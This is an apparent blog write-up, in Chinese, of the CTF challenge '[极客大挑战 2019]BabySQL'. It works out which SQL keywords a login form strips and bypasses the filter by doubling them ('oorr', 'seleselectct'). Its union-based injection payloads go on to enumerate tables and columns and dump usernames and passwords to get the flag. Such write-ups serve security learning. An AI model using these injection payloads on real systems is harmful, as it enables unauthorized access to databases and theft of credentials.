[极客大挑战 2019]BabySQL

打开页面是一个登录界面,直接用admin’ or 1#试试深浅

回显为:

这里我们分析一下这个报错,near后跟的单引号中的内容为1#' and password='a',那么说明sql语句就是从这里开始语法不正确的,模拟一下正常的sql应该是select * from table where username = 'admin' or 1# password='a'',这样应该是不会报错的,猜测可能是or关键词被过滤了,后面在使用admin' order by 2#这个payload时,报错为right syntax to use near 'der 2#' and password='a'' at line 1更可以验证这一点。

这里我们可以替换or,尝试一下(可以大小写替换,||符号替换,双写替换),这里符号和双写都可以作用,这里先用双写替换绕过,admin' oorr 1#,登录成功

接下来使用union注入手段走流程。先用order by查看列数,admin' oorrder by 2#

这里可以判断order肯定是过了,但是仍然报错,可能是by被过滤了,继续双写,admin' oorrder bbyy 2#,可以登录。最后尝试,得到回显列数为3
admin' union select 1,2,3#找回显列数

可以猜测,select被过滤了,admin' union seleselectct 1,2,3#

union也被过滤了,继续双写,admin' ununionion seleselectct 1,2,3#,这里要把登录名改了,不然会回显正确登录的信息,改为a' ununionion seleselectct 1,2,3#

输入payload:a' ununionion seleselectct 1,database(),group_concat(table_name) from infoorrmation_schema.tables where table_schema=database()#,出现报错

发现where没了,.table之后报错,猜测那之前也有被过滤的关键词,猜测为from,两个都双写,

a' ununionion seleselectct 1,database(),group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema=database()#

得到数据库为geek,其下的表有b4bsql,geekuser
继续查看列名先看b4bsql,payload为:

a' ununionion seleselectct 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_schema=database() anandd table_name='b4bsql'#

a' ununionion seleselectct 1,group_concat(username),group_concat(passwoorrd) frfromom b4bsql#

得到flag

posted @ 2024-11-20 21:40  一只本本  阅读(1)  评论(0编辑  收藏  举报